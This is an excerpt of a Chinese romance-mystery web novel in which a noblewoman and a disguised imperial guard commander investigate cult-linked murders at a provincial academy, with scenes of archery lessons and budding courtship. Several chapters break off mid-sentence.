霍青青因着昨夜里被兰浔看着,只喝了一小杯千金酿,没有醉酒,遂起了个大早。 入学宫至多也只能带上一个端茶倒水的小童。寻春一听,忙给自己梳了两个抓髻说自己年纪正好。 锦屏抬手摸摸她的头:“你乖乖在楼里呆着,在学宫这些日子,你们中午还得来送个饭。” 寻春搅着手指看向霍青青。 霍青青不由失笑,安慰道:“我约摸会在青州一月有余或两月,一月可是有四日休沐,四日休沐都会回楼中。” “那我们轮流给姑娘送饭,姑娘若是有想吃的,就、就让……”寻春拽着霍青青的衣角,怯怯看了一眼霍十一:“就让十一侍卫同我们说一声,保准给姑娘做新鲜热乎的。” “好,我记下。”霍青青笑着同楼里人道别,弯腰进了马车。 青州学宫每年招生,来者数百,今日街上人山人海,来往的少年人比往日多。 人多了,马车便走不动道。 霍青青索性抱着书卷下车来,锦屏和辰砂在两旁挡开人群。 这架势,一看便知不是普通人家的小姐,路就好行了许多。 “青州还是这么热闹。”霍青青站定在学宫门口,远远瞧见一个须发皆白的老者,身后跟着的是一身黑里扬青束袖常服的顾衍。 这位便是青州学宫祭酒,前朝内阁大学士林映。 顾衍带着笑意不知同林映说了什么,老人家觑了一眼霍青青,眼中带着趣味。 到得学宫内,霍青青领了卷,不紧不慢地写完,随后便趴在桌案上昏昏欲睡。 顾衍巡考,走过她身边时,似是不经意停在她身侧。 考卷上的字娟秀端正,又隐带几分张扬,他伸手将考卷一提:“写完便好好睡。” 俨然是夫子语气。 霍青青困倦起来,顿时觉得自己不该以学子身份来。 莫名其妙,就比顾衍矮一头了。 等考生陆续写完,祭酒差了上一届的学子做他们的向导,带着一应新生游逛学宫。 青州学宫地处留青山,学宫内假山池藻,亭台水榭,自有独属于青州的一份景致。另有修竹茂茂,草木葳蕤。青州四季如春,居于修竹木屋里,再合适不过。 因需等明日放榜,许多学子今日都会回家。 有人步履匆匆,行走间青色的衣摆微漾,他来霍青青面前站定:“祭酒有请。” 他没有多看霍青青,见霍青青点头便转身带路。 等到得一处院落,他恭敬地扣响房门,连扣三声:“祭酒,霍小姐来了。” “进来吧。” 屋里坐着四人,顾衍跟林映正在下一盘棋。另一边的伍行跟一个清瘦的老者摆弄着八卦盘。 等带路的学子恭敬退下,林映才抬抬眼皮:“霍家的小丫头?” “林大学士、陈爷爷,安好。” “怎么?不叫一声夫子来听听?”顾衍捡起林映被他围死的棋子,闲适地靠在榻上:“霍姑娘,其他人可是叫完了,我呢?” 霍青青心里笑骂,好喜欢占便宜的顾大人啊。 “那……顾夫子教什么?待明日时,我挑着学学。” “唉,叫得不情不愿的。”顾衍长叹一口气:“枉费我一番心血啊。” “不知祭酒叫我前来是为何事。” “没什么,只是昨日顾指挥使来打点的时候特地说了照顾着霍小姐点。就想看看霍小姐是不是有什么神通,能收了这个顾衍。”林映一脚踹向旁边的陈之齐:“还有他,把霍小姐吹得天上少有,地下难寻。” 陈之齐早有预料一般瞬时躲开,手里拿着个龟壳摇三摇面容慈祥:“青青此行累了吧。之前霍十一那小子过来跟我说让我给你安排着,如今也安排得差不多,你当真要住在天玑?” “陈爷爷还不了解我吗?”霍青青笑笑,拿起一颗白子落在棋盘上。 顾衍起了兴致,执黑子下起来。 “不干涉你。”陈之齐活动几下筋骨,腰间悬着方才那个龟甲走到霍青青身边看他俩下棋。 这厢顾衍落下一个黑子设下陷阱,偏偏霍青青还一脚踩进去。 顾衍眉一挑。 “嚯,有胆量。”伍行也凑过来,眼瞧着霍青青一头扎进陷阱里:“这是明知山有虎偏向虎山行?” 霍青青这一下,顾衍反而慢下来。 “承让了,顾、夫、子。” 21.青青妹妹 《指挥使今天不上班》全本免费阅读 第二日放榜,学宫门口人头攒动,霍青青遥遥瞧见,一人身着学宫分发的青衫站在门口。 他一身青布衫子洗得泛白,站得笔直。 有风一过,他那一身青衫晃荡起来,隐隐现出衣衫下瘦削的身形。竹枝束发,青带微扬,两根长长的深青丝绦自腰间垂落下来,青玉压襟。 昨日看到他的第一眼,就觉得他干净。 若是没记错,在祭酒那边呈上来的人像册子里,此人名叫南宫澈。 南宫氏,霍青青隐约有些印象,是出了名的寒门文士。册子里写着南宫澈为人磊落,直言不讳。如今入学宫已三年,门门课业拔尖,是学宫夫子很喜欢的学子。再有两年,就会被举荐进朝堂。 自然,也很受学宫里女学子的青睐。 喧闹的人声里,南宫澈不经意间看过来,微微颔首。 霍青青微笑着点头算是打个招呼。 入学的考卷,霍青青可是作答了,学宫里除去林映和陈之齐也并不知霍青青是何人。 这考卷答得中规中矩,排在榜单第二十九名。 放榜后有人欢喜有人愁。 青州学宫一年只招那么六十个学子,可见严苛。 南宫澈带了几个学子站在门口分发玉雕宫牌,宫牌以青玉制,雕竹刻云,下坠一道长长的深青流苏。 学宫新入学的学子,共分十个院落,每六人一组,院落又分东南,一方各住三人。 无论高低贵贱,都是这般。 等锦屏抱来分发的被褥枕头,她郁闷道:“跟了姑娘这些年,还从未守过如此多的规矩。” “方才去东边取被褥,转头去西边报姑娘身形等裁衣。前面去交宫牌记姑娘名姓,等后日才能取学宫青衫,拿回刻好姑娘名姓牌子。这乱七八糟的,让人头疼。”锦屏铺着床,一边铺一边絮叨:“还说上课的日子书童侍者不能候在一侧,不能呆在学宫里,三日才能来一次,这跟不能带侍者没差。另外的还有呢,可多,都记不完。” 霍青青想帮着铺床,被锦屏拦下。 遂无奈坐回去,托腮看着忙里忙外的锦屏。 看了许久,锦屏终于收尾,抱着一摞书放到架子上,转身过来给霍青青揉肩:“姑娘,你一定要照顾好自己。” “这不是……还有辰砂和十一嘛。”霍青青抬手拍拍她手背:“锦屏要是想来,他们大抵也拦不住。来就是了。” 也是,锦屏这才放下心。 锦屏临走前又叮嘱好一番,见着霍青青一一应下,才点头离去。 等送走锦屏,霍青青独自一人坐在学宫的房间里,觉得屋子有些太过安静了。 正想着,就听见指节轻叩在窗棂上的声音。 霍青青起身拉开窗,果然瞧见顾衍站在窗外,他戴着那层薄薄的假面青衣落拓,眉目间俱是笑意:“我来熟悉一下这院子,可有扰到霍姑娘?” 夕阳下,他哪怕是顶着普通人的面容,穿着这么一身青布衣衫也掩不去灼灼锋芒。 金红细碎的微光流淌在他衣袂间,随着傍晚的风携起一阵暖意直直吹到霍青青心底。 顾大人,是极好看的。 霍青青愣了许久的神,旋即笑道:“顾大人是专程来同我说话的?” “美的你。”顾衍哼笑一声,双手一撑从窗外翻进来:“这院子不错,清净。” 顾衍靠在窗边站着,摸出流云胧月白玉笛,那笛子在他指尖转了一圈,他挑眉笑道:“听吗?” “难得顾大人吹曲子,自是要听的。”霍青青点头,她还是第一次见这笛子,更不知顾衍竟会吹玉笛。 玉笛音色微高,笛音渺渺,散开在这青州的夕阳下。霍青青随着他的目光,越过外间重重竹影,看向很远很远。 笛音里,有山河辽阔,岁月静好。 等一曲终了,霍青青微微仰头看他,颊边笑出浅浅梨涡:“这曲子,我之前是不是听过?” “没有。”顾衍侧过头去不看她:“你记错了。” “顾大人是来熟悉院子的?”霍青青垂下眼睫,纤瘦白皙的手落在窗台上:“十一和辰砂,都在暗处。” “我知道。”顾衍一时不知说什么。 早在昨日,他就已经来天玑院看了一番,今日倒没什么要熟悉的。方才伍行说学子的侍者书童,今岁都不能带,三日才能来一趟。 在他的印象里,霍姑娘与锦屏可是形影不离,霍姑娘自己不喜欢守规矩,也并未多约束自己的下属。整日里也有打闹的时候,多是两人在马车里说些话。如今她那丫鬟突然一走,今日又逢其余学子回家收拾东西,怕是没人同她笑闹了。 看在霍姑娘是他雇主的份上,他就来看看。 唉,堂堂一个锦衣卫指挥使,如今沦落到给人小姑娘吹玉笛取乐。 窝囊到家了。 这总不能让霍姑娘看出来,顾衍如是想着,便又补了一句:“我是来看看霍姑娘一个人有没有哭鼻子。” 霍青青往前踏出半步靠近他:“哭了,顾大人是不是要赔点钱?” “霍姑娘,你怎么恶人先告状?”顾衍抱臂,垂眸看着神气活现的霍姑娘觉得自己心情甚好。 “告状这事,谁先说谁赢。” 歪理。 顾衍心里笑骂,面上不显,只叹一口气道:“霍姑娘,这么无赖,不好。” “那顾大人能不能便宜点?” “不能,别惦记了。”顾衍拿着白玉笛,用末端轻轻敲了一下霍姑娘的额头 霍青青作势捂住额头:“敲傻了要赔钱的。” “不闹了。时辰不早了,你那边应当差人送了饭,让你的人去取。”顾衍收好笛子,从窗户跃出去,走时回过头来:“霍姑娘,你怕吗?” 霍青青斜斜靠在窗边,一双桃花眼里满是笑意,她勾起唇角道了句:“有顾大人在,我怕什么?” “这么看得起我啊……”顾衍低笑着转过身不再看她:“行,总不能让霍姑娘亏了银子。” 他的话消散去,霍青青揉着脖颈低下头,唇角带起一缕柔和笑意。 顾大人,是极好的。 …… 学宫院落分下来,与霍青青同住的是两个姑娘都是叫得上号的书香世家。只是这两个姑娘性子天差地别,一个喜静一个喜动,三人同住一个院落,当日打了个照面就各自回房。 霍青青铺开纸墨,勾画起来。 青州学宫依山而建,合八卦格局,新入学的学子住所共十处,除去三处半山苑,其他七处合称七星苑。七星苑又分作七院,按七星命名,以北斗之势建成,暗合阴阳八卦之说。 当年,青州学宫初建,需择清幽福泽深厚之地,遂定下留青山。 霍青青指节敲击着桌面,长生教请神所需之人是命宫带煞者不错,但为何会真的依照青州学宫这七星苑来摆贡? 不对! 霍青青提笔圈出卷宗里一处,上面赫然写着两个学子的尸身都是血肉被搅碎,似乎 22.齐云 《指挥使今天不上班》全本免费阅读 大煜开蒙年纪小,而像霍青青或是其他世家比普通人更早一些。 霍青青三岁开蒙,六岁熟读诗书。早年见陈之齐的时候,已是八岁了,霍青青小时跟雪团子一样,长得玉雪可爱,又伶俐,讨人喜欢得很。 陈之齐一生只有一个早逝的妻子,没有留下一儿半女,他第一眼瞧见霍青青的时候,就觉得喜欢。 要知道,他当年还未辞官,多少人请都请不来,却格外喜欢留宿在霍府,一问便是给霍家小丫头开蒙教习。 渐渐的,他便发现,霍青青记性极好,加之聪慧努力、心思活络,他能教她的日益减少。 也是后来,觉得朝堂安稳,才辞官。 当年青州学宫建立,他想让青青入学,可惜被霍书一信搪塞回来。 青州学宫多招收十五岁的学子,成绩拔尖者,在学宫之中满五年,便会举荐入朝。 第二日里,霍青青多留意了命宫带煞的另外三个人。两男一女,其中一人是户部郎中之子,而其余两人均为民间清白百姓之家。 “青青妹妹还有没有想知道?”林豫跟霍青青并排走着,一边走一边跟霍青青说许多学宫内的事。 霍青青思索片刻,看着兴致勃勃的林豫含笑道:“豫哥,南宫澈你熟悉吗?” “南宫澈?”林豫跟踩着尾巴了一样,他停下脚步站在霍青青面前四处张望一番,确认了周遭没人才压低声音道:“青青妹妹可别跟他往来,他怪得很。” “哦?”霍青青来了兴趣,也学着林豫压低声音:“有什么怪的?” 林豫拽了下霍青青的袖摆,拉着霍青青到一处修竹后。 “他刚来学宫时,门门功课都垫底,后来没多久,约是前年吧,课业突然开始拔尖起来。”林豫拧眉,似是挣扎:“我当时的课业不好,想着看看人家怎么学习的。结果……” 他顿住,一双眼认真地看着霍青青:“青青妹妹,爷爷同我说让我跟着你是因为命案一事。这件事我爷爷本来没告诉我,但是出事那日,我听到奇怪的声音,就爬起来。但是……后面什么都没看到。” “我只知道,等爷爷带着人出来的时候,跟着的侍卫抱着两卷草席。我等他们走之后,躲在门外瞄了一眼。”林豫见霍青青毫无惧意,才放心地接着道:“那次是我第一次看到破碎的血肉,他们是后来才回来继续清理。” “说出来也不怕青青妹妹笑话。我那日之后,做了整三日的噩梦,饭也吃不下,缓了许久才缓过劲来。就是这三天,让爷爷怀疑了,我也没法,就摊牌了。”他尴尬地挠头,扯出一个笑:“当时,爷爷没说什么,只嘱咐我不要说出去。一切等皇上那边安排。” “爷爷昨日同我说,我既然如此文不成武不就,不如先跟着青青妹妹和顾指挥使长长见识。”林豫一说起话来,就是喋喋不休的,他见霍青青也在认真听觉打心底里高兴:“陈爷爷还说,青青妹妹比顾指挥使都有能耐。” 霍青青一时没忍住笑出声来:“陈爷爷也真是……” “好了好了,既然青青妹妹承认带我了,那我就继续说刚才那南宫澈。” 霍青青瞥见暗处的辰砂朝她示意,微微颔首。 林豫又看了看四周才转过来继续道:“那夜里,我蹲在他院子的树上,看得真真的。他大半夜起来,推开窗子,像是魇住一样,嘴里还嘀嘀咕咕念叨着什么,之后从屋里推开门走到院子的树下挖了几下,然后朝着月亮叩了三个头。” “虽然那夜里,我离得远,但我自幼习武耳力好着呢……” 林豫话还未说完,就听到一阵细碎的响动。 “谁?”林豫转过头去,见着一个二八年华的女子从竹子后绕出来。 是齐云。 齐云没有说话,只淡淡地看了林豫一眼。 霍青青将林豫轻轻一拉,自己站在林豫身前,朝齐云笑道:“齐同窗没去上课?” 她这话问得倒是合理,今日开课,除去必修的四书政论六艺之外,还有其余自己选择的课业。这个时辰,主课早已结束,该是其他课业的时候了。 齐家被称作淇河风雅,为淇河文人之首。齐云自小便习诗词歌赋琴棋书画,养出一身书卷气。去年她便到了入学宫的年纪,只是家中本有颇有声望的教习师傅,况且齐家也无心朝堂,只望偏居一隅安稳度日,齐云便一直在家中学习。 直到今岁,才说服齐家主,总算是参加了学宫考试。 若是没记错,齐云的答卷排在第七。 齐云没有看霍青青,目光越过她看向后面的林豫。 齐云生得高挑瘦削,清秀得很。她也是一袭学宫青衫,腰垂碧青丝绦。此时看着林豫,秀丽的脸上没什么表情,站在几步开外,声音轻浅:“林学长应当知道,不该在背后妄论他人。” “是我问的,林学长在给我答呢。”霍青青拢着手面带笑意:“昨日入学宫,南宫师兄来为我引路。今日恰好林学长在,就多问了几句,齐同窗勿怪。” 齐云端详着霍青青的脸,看着不似作假,面上比方才冷了些:“是我错怪林学长了,我道歉。” 说罢,她便转身走了。 “青青妹妹。”林豫见着齐云走了,才自霍青青身后出来,他挠了挠头有些不好意思:“在背后说小话确是不该。但是……我知晓你是来查案子,总觉得南宫澈那次的动作,是不是会有所关联。恰巧你问到他,我才说了这么多。” 他叹了口气,无奈摊手:“谁知道会碰上齐云。” “这又有什么说法?”霍青青好奇起来。 林豫说得不错,南宫澈那般行为确是奇怪,林豫想到了告诉她无可厚非。只是,这齐云又与南宫澈有什么瓜葛? “青青妹妹,你真是难为我了。”林豫拧眉,半晌才一咬牙:“算了,就当是青青妹妹查案所需,说给青青妹妹听听得了。” “其实这也不算秘密。”林豫带着霍青青在石凳上坐下。 他从袖子里取出一个四四方方的小盒子,里面装着几颗麦芽糖。他数数分出一半推给霍青青。自己捡了一颗丢进嘴里,才继续道:“南宫澈也是淇河人,小时就有神童之称。南宫家往上数两辈,也是淇河文人争相学习的书香世家。” 霍青青点头,她也有些模糊的印象,淇河曾共有三家能排得上号的世家,其中一家便是南宫 23.相信 《指挥使今天不上班》全本免费阅读 林豫忙不迭整理了衣衫,恭恭敬敬一礼:“见过顾大人。” 顾衍瞥他一眼:“叫顾夫子。” “是,顾夫子。”林豫赶忙改口。 若不是他想从军,定然会想办法去京都混进锦衣卫。顾大人可是大煜这两年的风云人物,好些话本都在写他杀伐果决斩叛臣贺乾。 要说那贺乾一案,顾大人可是单枪匹马把叛贼杀了个片甲不留。据闻那日,他孤身一人当先开路,随后带亲信三人便直入贺府,那时贺乾正与安平王之子密谋。顾大人见此提刀便上,登时与贺乾打在一起。 贺乾是什么人? 是与当朝大将军徐从风不相上下的人物,要论武,他在大煜可是排得上号的。顾衍十四岁入军营,十六岁被贺乾看中带回京都培养。到贺乾谋反案被查时,仅仅过去四年,就是这短短四年,他竟能跟贺乾打得不相上下,这到底是何等天赋? 那日里贺府大门洞开,外面有不怕死的好事者看到里面刀光剑影,一时迷了眼,直到御林军赶来才将人群赶散。 据说后来,顾衍再出来时,手里提着贺乾的首级,而后悬于腰间带着大半身血迹跃马扬鞭直奔皇宫。 如此行径,看话本的百姓自然是褒贬不一。 可是他却觉得,顾衍为人坦坦荡荡,做事不拖泥带水,该杀则杀,毫不手软。 这样的人,才是做大事的人。 林豫看着顾衍,眼睛亮得可怕。 霍青青轻咳一声:“顾夫子此行为何事?” 总不能真是跟着疾风追过来的。 “哦,想起来了。”顾衍拿出夫子的架势,肃了脸:“霍学子明明报了我的课,怎的没来上课?课业不完成,我如何跟祭酒交代?” “还有你。”他转向林豫:“为何不上课?” 林豫一时沉默下去,他还以为顾指挥使会说别的,未曾想一开口就是他最头疼的事。 “林老爷子早先就告诉于我,他那个孙子不爱舞文弄墨,一没人看着就会旷课。如今倒好,不仅旷课,还跟女子单独小谈。”他话锋一转,似笑非笑看向霍青青:“你们,没听过,男女授受不亲么?” 林豫敏锐的嗅觉告诉他,顾指挥使和青青妹妹之间似乎有什么秘密。 他看看顾衍,看看霍青青。 再看看顾衍,再看看霍青青。 突然脑子就灵光了那么一下,很快熄灭。 迫于顾衍时有时无的威压,林豫决定先走一步,于是乎,戚戚地看着霍青青:“青青妹妹……” 林豫一步三回头,欲言又止,最后似是豁出去了,他掷地有声:“青青妹妹,我们回见!” 霍青青看着林豫跑得比兔子还快觉得有些好笑,她还是头一次见这么怕顾衍的人。 “顾大人,豫哥可是我不可多得的消息人啊,就这样给你吓跑了你怎么赔啊。”霍青青摸着疾风的头,桃花眼里带着笑意,她倒不是真的责备顾衍,只是觉得有趣。 她有些好奇,顾衍为什么每次都能精准地找到她。 “他大霍姑娘几个月能赚一声哥,我怎的只能赚个顾大人听听。”顾衍蹲下身子,捡起霍青青不慎落下的香包递过去:“你老用这香,就用不腻?” 霍青青哑然失笑,这个香包里装着的是为魇症特制的中药,配有醒神的薄荷艾草等物。她不大喜欢纯粹的药味儿,遂都掺了点她喜欢的沉香。 “特制的,带着好些。”霍青青把香包接过来道了句谢。 “方才有其他人过来,你那暗卫直接放过了。”顾衍摸了根枯草,放到疾风眼前晃,几下就把疾风惹烦了。 疾风张嘴咬住枯草甩甩,有些凶。 “外面不是谈事的地方,你若要谈,该晚些回院子里谈。”顾衍说完,又觉得自己多虑了,这般浅显的道理,霍青青岂会不明白? 霍青青还是答了,她指尖绕着自己垂落的一缕发,垂下眼睫看着石桌上一片橘色的日阳。 “这个时辰回院子太打眼,更何况还带着别人。倒不如在外面谈,有辰砂和十一在,倒不担心别的。”霍青青放下手,轻点在石桌桌面上:“齐云今日,一直跟着我。她大抵以为自己藏得很好。” 顾衍起了兴趣,在她对面坐下来:“她和南宫澈都是命宫带煞,年岁未过二十。你是觉得,下一个人,会在他们二人之间选?” “我初时翻看的学宫名册里看到他们都是命宫带煞者,便多看了两眼。方才,豫哥说的那事,我听完就觉着这俩是落花有意流水无情。”霍青青说着,索性双手撑着头:“昨日南宫澈为我带路,想必是被齐云瞧见了。今日齐云就有意无意地跟着我,方才我同豫哥说事,她找过来时恰逢豫哥想说南宫澈夜里叩天地说新生。辰砂看得清清楚楚,早已向我示意。” “我不过是,想知道她到底想做什么。”霍青青笑起来,最后叹道:“敢爱敢恨的少年郎啊。” 顾衍还是第一次见霍青青对这种事感兴趣,虽说是为了查案子,但此时的霍青青是少有的带着几分少年心性。 “五人的消息我都看过,没什么蹊跷的。这俩,如今豫哥一说起来似乎非比寻常。” “怎么说?”顾衍趁着疾风不注意,一把薅上它的背,惊得疾风往旁边跳了老远。 霍青青抓住疾风往天上一抛,疾风在空中盘旋了几圈,看了又看,才飞离。 “齐家和南宫家早年这一纸婚约,按豫哥所说,齐小姐应当是很满意的。奈何南宫家突然没落,南宫澈便想重入仕途,但……南宫澈若说天赋,及不上自己的父亲。淇河南宫,我方才想起来,最有名的当属南宫墨池。” 顾衍看过来,示意她继续。 “南宫墨池是淇河人尽皆知的神童,自幼便表现出非凡才能。南宫澈跟他爹南宫墨池比起来,可差太远了。方才豫哥说,南宫澈入学时,课业谈不得好。”霍青青站起身理顺自己腰间的璎珞,轻巧地走到顾衍身边:“而他课业拔尖是前年,夜里起来叩头说新生也是前年。” “前年啊……”顾衍沉吟。 长生教兴起,是两年前,算起来,是长生教兴起后不久。 霍青青跟他对视一眼,两人便已经了然。选择青州学宫,抓住大煜朝堂的命脉,潜藏了整整一年有余,宋世荣,到底有没有与长生教勾结还需从头再细查一番。 她查到的线索,顾衍查到的线索,都摆明青州案里宋世荣是推手。 但是……两年前,宋世荣那时便已经开始谋划了吗? 两年前……也是贺乾被杀,顾衍坐上指挥使之位的那一年。 那一年里发生的事情太多,徐从风也是贺乾案后自请退回封地,不再管朝堂事。 “顾衍,那日里,贺府到底发生了什么?” 霍青青的声音很轻,她站在顾衍身侧微弯下腰,近乎耳语。 这时已至申时,初夏将至的风里还带着丝丝凉意。她的发丝被略微带起,轻轻拂过顾衍脸侧。 顾衍垂眸,摩挲着腰间的刀柄,他喑哑笑道:“还能发生 24.信我 《指挥使今天不上班》全本免费阅读 顾衍白日里跟霍青青说了这一通,霍青青记着他说晚些再聊。便特意吩咐了辰砂守好院子,自己将窗户敞开着,在窗边的案几上练字。 学宫里日子过得慢,事情却多,林映送来的册子她抽出时间看,末了十一又送来新的。如今十一要去玉楼春整合消息,身边就只余下辰砂。 今日的消息霍青青提前看完,总算有了闲暇,遂借着等顾衍的由头点灯练字。 顾衍远远看到霍姑娘的窗户大开,屋子灯火通明。 霍姑娘一身青色衣裙,正提了袖子磨新墨。他目力极好,瞧着那灯火晃晃悠悠映在霍姑娘脸上,瞧见霍姑娘掩在灯火与月色交织的光晕里。 院子里月色清朗,树影被风带起,这么远的距离,他又想起白日霍姑娘望着他的眼神。那双桃花眼里,似乎每时每刻都带着温和的笑意,她生得是好看的,笑起来时颊上总会显出梨涡。 或许是随了霍家前面那俩人的性子,霍姑娘有玲珑心思为人磊落,看着好说话,实则倔强得很。她一直都在做自己,向着自己想走的路,从未迷茫。 霍家将她养得很好。 顾衍又离得近了些,站在院子里。抬手自腰间锦囊里摸出一个小瓷瓶握在手里。 没有人拦他没有人声张,他一路行至霍姑娘窗边。 “等我?”顾衍站在窗外,挡住月光。 霍青青提起笔看向顾衍,他今夜来没戴假面:“是啊,等顾大人呢。” 霍姑娘有时候执着得可怕,顾衍觉得,他今晚要是不来,霍姑娘保不齐会等他一宿到天明。 顾衍微微侧开身子,让出月光,那银辉铺在霍姑娘练字的宣纸上,照出墨痕。 “顾大人进来吧。”霍青青让开了些。 顾衍手一撑,翻窗干净利落。 屋里静默下来,只余下灯火无声摇曳,顾衍斟酌许久,终是开了口,将手中握着的瓷瓶递过来:“拿去擦。” 霍青青愣怔一下,下意识地摸了摸自己的手腕,旋即明白过来。 顾大人别别扭扭的,此刻已经将头转开不看她了。直到她接过瓷瓶,他才不自在地言语道:“白日是我冒犯了。” 灯火掩去顾衍微红的耳垂,才不至于让顾大人就此颜面扫地。 霍青青握着还带着温热的瓷瓶,第一次觉得,顾大人有些可爱。 顾衍久久未听见霍青青说话更不自在了。他又似是突然想到什么,颇有些破罐子破摔的意味,他说:“霍姑娘应当有更好的外用药,若是嫌弃就还给我,不然丢了也成。” 还是没有人应答。 顾衍气恼地转过头来,这一下就撞进霍姑娘那双清泠泠的眼眸里。 顾衍晃了神,恍惚听到霍姑娘轻笑一声,声音略带笑意:“顾大人送了东西怎的还想要回去啊?这可不厚道。” 顾大人没有骨气这件事,现在是天知地知他自己知。 只有顾衍自己知道,他对上霍姑娘,总是很容易挫败下来。像白日里,明明快被她一句话逼疯了,最后又被她一句话戳得泄了气。 霍姑娘,太过分了。 “夜深了,睡罢。” 霍青青还没回应,顾大人已经又翻出窗去。 顾衍如来时那般站在窗外看她:“白日里,我所说,是真的。我顾衍,从不会食言。” 顾衍顿了顿,他一袭青衣磊落自成傲骨,站在朗朗月华下,脊背挺得笔直:“霍姑娘,你信我吗?” 霍青青双手轻轻撑在窗檐,看着他,认真道:“我信啊。我一直都信。” 许是今夜月色太好,银白月华太晃眼,顾衍望着霍青青漂亮的桃花眼神使鬼差地觉得自己想说些什么,他声音放轻:“霍青青。你说的,无论何时,都不要骗我。” “不要食言。”他星目灼灼,将霍青青一点点刻印在心里。 “否则……”他靠近一点,抬手覆在霍青青撑在窗檐的手背上。 青年的手掌温热干燥,指腹带着薄茧。 霍青青没有挣脱。 她看着他靠近的脸,他的眼瞳锐利如鹰。 顾衍覆在她手背上的手蓦地收紧,扣进她的指缝:“否则……我不知道我会做出什么。” “霍青青,你说的,你要一直记得。” 青年的气息骤然远离,他松开她的手退开去。 顾衍离开得极快,瞧着像是落荒而逃。 顾大人在怕什么? 霍青青见着他逃出一段又折回来,匆匆跟她说了句祝好眠便真的走了。 顾大人,似乎对信任与否很是在意。 直到他的背影再看不到,霍青青才关上窗,躺回榻上。 伍行看着顾衍匆匆回院子,正跟上去一探究竟,顾衍的门“啪”的一声关上。他愣在门口。 绝对是发生了什么不、得、了、的、事! 顾衍把自己关在屋子里,只有银白月光透过窗户照进来。他扶着头,觉得方才自己脑子像是被什么东西魇了,怎么就跟霍姑娘说了那些话?他明明是去送药,明明打算送完就走。 二十多年,他脑子里没这么乱过。 因为什么?朋友?去他x的朋友,这是朋友相处的氛围才有鬼。若是能回去,他定然回去打自己一巴掌,有事没事说什么乱七八糟的。 顾衍在屋里静默许久,想起什么似的拿了火折子点灯,等橘色的灯火跳跃起来,他在书桌上铺开纸,磨了墨,提笔就写起来。 写着写着,脑子里就晃过霍姑娘娟秀的字迹,在月光里隐带锋芒。再写着写着,又想起白日里霍姑娘发红的手腕。 顾衍定了定神,觉得自己的掌心发烫,便负气一般将手里的毛笔往窗外一扔。 “我说顾大人,你今儿发的什么疯!”伍行捂着额头从院子里冒出来,那毛笔好巧不巧砸在他脑门儿上,砸出一道红印子。 顾衍淡淡看他一眼:“滚。” 伍行这下来劲儿了,搁窗户外面探个头:“今儿下午去找了霍姑娘,怎么?吃瘪了?” “我说,滚。”顾衍伸手就要关窗。 伍行一把挡住,脸上嬉皮笑脸:“被霍姑娘气着了?晚上去找她要说法?那顾大人一定是威风地把她打了一顿吧?” 许久没听见顾衍应答,伍行识趣的甩甩袖子走了。 顾衍重新取了一支笔,这次手稳了许多。 他慢慢思索着,他是怀着什么样的心情跟霍青青说出刚才那番话的? 朋友吗? 他不知道怎么对待朋友,伍行也好,宋无忧也罢,都是过命的交情,他把他们当成兄弟。 八年前他入军营的时候,是徐从风帐下。徐从风治军严明,营中倒也融洽,只是他那 25.霍姑娘 《指挥使今天不上班》全本免费阅读 白日里学宫安静,至多是阵阵琴音。 离算出的日子就剩那么两日,霍青青忙里忙外,遣了人牢牢盯着那几个命宫带煞的学子。 疾风这几日同林豫混熟了,极喜欢落在林豫的肩膀上等林豫给它喂肉条。 顾衍教的的射艺,他准头好,教人也有一套,寻常学子都不会缺席。 今日天高气爽,霍青青换上学院的青衣束袖,除去政论和四书六艺,她也报了奇门。 霍青青握着弓箭,站在女学子的队列里。 直到上课的时辰,顾衍才过来,他一眼便看到队列里的霍青青。眉一挑,笑了句:“今日来的人挺多,那就不废话了,开始吧。” 伍行拎着一串野果过来,一边走一边啃,随手摘下一个往空中一抛。 顾衍挽弓搭箭速度极快,羽箭离弦,直破云霄,一箭将那野果扎透落下来。 “前两日所学都是射靶子,今日,便学这个吧。”顾衍将弓放一边,自己往摇椅上一坐一躺。 “谁射中了,谁就可以先走,这堂课记五分。射不中嘛……”顾衍似是沉思,片刻,笑着道:“射不中可以告诉我,记个一分直接走人。” 霍青青还是第一次见顾衍这副无赖样,低声笑出来。 笑声传进顾衍的耳朵里,他瞧着霍姑娘,唇角微勾:“老伍,叫人扔果子。你,来我这里。” 霍青青:“……” 顾大人,公报私仇。 霍青青握住弓,站在顾衍面前:“我不会啊,顾、夫、子。” 两人面对面站着,顾衍轻咳一声:“既然不会,前两日为何不来?” 装。 霍青青笑靥如花:“这不是……身子弱,跟祭酒告假,养了两日嘛。顾、夫、子,你不知?” 听着霍姑娘一字一顿,顾衍心情甚好,觉得前日夜里自己丢的人都给挣回来了。 眼瞧着霍姑娘笑得温和……算了,笑里藏刀。顾衍取来自己的弓,搭上一支箭:“我从头教,你从头学。” 靶子放在五十步,顾衍站在霍青青身侧,拉开弓:“看好了。” 话落,羽箭急掠,穿透靶心。 “射箭,讲究一个稳。”他说着,又取一支羽箭递给霍青青:“站稳,放松,抬平,拉弓,瞄准。” 顾衍站在霍青青身后,压低声音:“真不会?” “顾大人还是离远些,你现在是夫子,离这么近可是不成体统。”霍青青将箭搭上弓,微微偏头同顾衍耳语。 顾衍回头看了一眼,不少人慌忙别过头去,拉弓射果子。 “霍姑娘也会怕?”他退远一步,白玉笛轻轻敲在霍青青手臂:“下面点。” “顾大人又说的哪门子的话?不是顾大人说男女授受不亲?更何况现在还是顾、夫、子。”霍青青说着话,手中弓箭仍是不得要领。 顾衍算是看出来了,霍姑娘是当真不会。 “霍姑娘也有不会的东西啊。”他哼笑着,心情极好。 霍青青其实并非不会。 霍青青咬咬唇,抬起手拉开弓,一看到那靶子中心涂红,她觉得眼晕,遂又将弓箭放下来。 “不舒服?”顾衍见她咬着唇,略微靠近了些。 “没有。”霍青青摇头,又挽弓搭箭。 如此反复几次,羽箭在她手中搭上弓又放下来。 “顾衍,我头疼。”霍青青蹙着眉,低声唤了一句。 顾衍觉察出不对,也不再管周围那些学子,拉住霍青青的手腕就走。 “老伍,你盯着点。” 伍行还在啃第三个果子,见状忙不迭点头,然后咬下一口果子盯了这边的学子一眼:“怎么着?都想射艺拿一分?” 学子纷纷摇头,继续射果子去了。 林豫当先射中,伍行自是看到了,偏头吩咐侍卫记下来:“你可以走了。” …… 顾衍拉着霍青青在石凳上坐下,见她手里还握着弓箭便拿过来放在桌子上。 “是不想射箭,还是真的头疼?”顾衍声音很轻,他看着霍青青低垂的头,一时拿不准。 霍青青没答话。 顾衍叹了口气:“若真的头疼,让你那暗卫出去一趟找你丫鬟抓点药过来。或是……我带你去找郎中看看。” 又是许久,霍青青终于抬起头,强撑着笑意:“没事的,歇歇就好了。顾大人先去接着教习吧,离开太久,不好。” 